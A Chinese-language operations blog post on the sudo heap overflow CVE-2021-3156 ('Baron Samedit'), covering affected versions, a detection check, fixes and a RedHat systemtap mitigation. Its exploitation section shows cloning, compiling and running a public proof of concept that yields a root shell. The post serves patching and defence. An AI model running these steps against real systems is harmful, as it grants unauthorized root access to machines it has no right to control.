当前位置:首页 > 运维 > 正文内容

linux中sudo提权漏洞复现及修复-CVE-2021-3156

phpmianshi8个月前 (02-03)运维595

1.背景

sudo被披露存在一个基于堆的缓冲区溢出漏洞(CVE-2021-3156,该漏洞被命名为“Baron Samedit”),可导致本地权限提升。

当在类Unix的操作系统上执行命令时,非root用户可以使用sudo命令来以root用户身份执行命令。由于sudo错误地在参数中转义了反斜杠导致堆缓冲区溢出,从而允许任何本地用户(无论是否在sudoers文件中)获得root权限,无需进行身份验证,且攻击者不需要知道用户密码。

安全研究人员于1月26日公开披露了此漏洞,并表示该漏洞已经隐藏了近十年。

2.检测

影响版本

  • Sudo 1.8.2 - 1.8.31p2

  • Sudo 1.9.0 - 1.9.5p1

查看版本

sudo -V
Sudo version 1.8.23
Sudoers policy plugin version 1.8.23
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.23


测试漏洞是否存在:

在普通用户权限上,输入:sudoedit -s /

  • 如果显示sudoedit: /: not a regular file,则表示该漏洞存在

  • 若返回以“ usage:”开头的错误,则不受影响

表示此系统存在该漏洞。

3.利用

以Ubuntu为例:poc下载;

test@kali:~$ git clone https://github.com/blasty/CVE-2021-3156.git
Cloning into 'CVE-2021-3156'...
remote: Enumerating objects: 50, done.
remote: Counting objects: 100% (50/50), done.
remote: Compressing objects: 100% (35/35), done.
remote: Total 50 (delta 25), reused 38 (delta 15), pack-reused 0
Unpacking objects: 100% (50/50), done.
test@kali:~$ cd CVE-2021-3156/
test@kali:~/CVE-2021-3156$ ls
brute.sh  hax.c  lib.c  Makefile  README.md
test@kali:~/CVE-2021-3156$ make
rm -rf libnss_X
mkdir libnss_X
gcc -std=c99 -o sudo-hax-me-a-sandwich hax.c
gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c
test@kali:~/CVE-2021-3156$ ls
brute.sh  hax.c  lib.c  libnss_X  Makefile  README.md  sudo-hax-me-a-sandwich
test@kali:~/CVE-2021-3156$ ./sudo-hax-me-a-sandwich 0

** CVE-2021-3156 PoC by blasty <peter@haxx.in>

using target: Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27 ['/usr/bin/sudoedit'] (56, 54, 63, 212)
** pray for your rootshell.. **
[+] bl1ng bl1ng! We got it!
# id
uid=0(root) gid=0(root) groups=0(root),1001(test)
# whoami
root
#

4.漏洞修复

永久修复(推荐):

官网:https://www.sudo.ws/download.html

1.3 下载各系统安装包

centos 5 https://github.com/sudo-project/sudo/releases/download/SUDO_1_9_5p2/sudo-1.9.5-3.el5.x86_64.rpm
centos 6 https://github.com/sudo-project/sudo/releases/download/SUDO_1_9_5p2/sudo-1.9.5-3.el6.x86_64.rpm
centos 7 https://github.com/sudo-project/sudo/releases/download/SUDO_1_9_5p2/sudo-1.9.5-3.el7.x86_64.rpm
ubuntu 16.04 https://github.com/sudo-project/sudo/releases/download/SUDO_1_9_5p2/sudo_1.9.5-3_ubu1604_amd64.deb
ubuntu 18.04 https://github.com/sudo-project/sudo/releases/download/SUDO_1_9_5p2/sudo-ldap_1.9.5-3_ubu1804_amd64.deb
ubuntu 20.04 https://github.com/sudo-project/sudo/releases/download/SUDO_1_9_5p2/sudo_1.9.5-3_ubu2004_amd64.deb

#以centos7为例
rpm -Uvh sudo-1.9.5-3.el7.x86_64.rpm


或者用源码进行编译安装:

https://www.sudo.ws/dist/sudo-1.9.5p2.tar.gz,下载最新版本sudo软件tar包,并解压。

tar zxvf sudo-1.9.5p2.tar.gz && cd sudo-1.9.5p2
./configure --prefix=/usr --libexecdir=/usr/lib --with-secure-path --with-all-insults --with-env-editor --docdir=/usr/share/doc/sudo-1.9.5p2 --with-passprompt="[sudo] password for %p: " && make && make install && ln -sfv libsudo_util.so.0.0.0 /usr/lib/sudo/libsudo_util.so.0


临时措施(RedHat):

1.安装所需的systemtap软件包和依赖项:

systemtap yum-utils kernel-devel-“ $(uname -r)”

RHEL 7安装kernel debuginfo:debuginfo-install -y kernel-“ $(uname -r)”

RHEL 8安装sudo debuginfo:debuginfo-install sudo

2.创建以下systemtap脚本:(将文件命名为sudoedit-block.stap)

probe process("/usr/bin/sudo").function("main") {

       command = cmdline_args(0,0,"");

       if (strpos(command, "edit") >= 0) {

               raise(9);

       }

}

3.使用以下命令安装脚本:(使用root)

nohup stap -g sudoedit-block.stap &

4.一旦安装了补丁程序,就可以通过终止systemtap进程来删除systemtap脚本。例如,通过使用以下命令,其中7590是systemtap进程的PID。

#kill -s SIGTERM 7590

 

漏洞利用技术细节:

https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit


版权声明:本文由PHP面试资料网发布,如需转载请注明出处。
分享给朋友:

相关文章

linux中set指令用法

简介我们知道,Bash 执行脚本的时候,会创建一个新的 Shell,这个 Shell 就是脚本的执行环境,Bash 默认给定了这个环境的各种参数。set命令用来修改 Shell 环境的运行参数,也...

linux中浅谈端口占用和开闭管理

背景平时开发或线上运维少不了跟端口打交道,今天我们简单聊聊平时跟端口相关的几个场景首先查看某台主机某个端口服务是否正常比如查看本机 redis服务是否正常telnet 127.0.0.1&n...

linux中磁盘被占用找不到占用文件

1、用df 检查发现磁盘占用过高[root@VM_0_15_centos ~]# df -h2、用du检查发现各目录占用的空间都很少,有约10G的空间找不到了[root@...

linux中查看系统活动情况报告sar命令详解

有很多工具可以看网络流量,但我最喜欢sar。sar(System Activity Reporter系统活动情况报告)是目前 Linux 上最为全面的系统性能分析工具之一,可以从多...

linux中df -i 100%解决方案

背景E138: Can't write viminfo file /root/.viminfo!Press ENTER or type command to continue这不科学呀,明明是...

jsonp安全攻防技术(JSON劫持、XSS漏洞)

关于 JSONPJSONP 全称是 JSON with Padding ,是基于 JSON 格式的为解决跨域请求资源而产生的解决方案。他实现的基本原理是利用了 HTML 里 <script&...

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。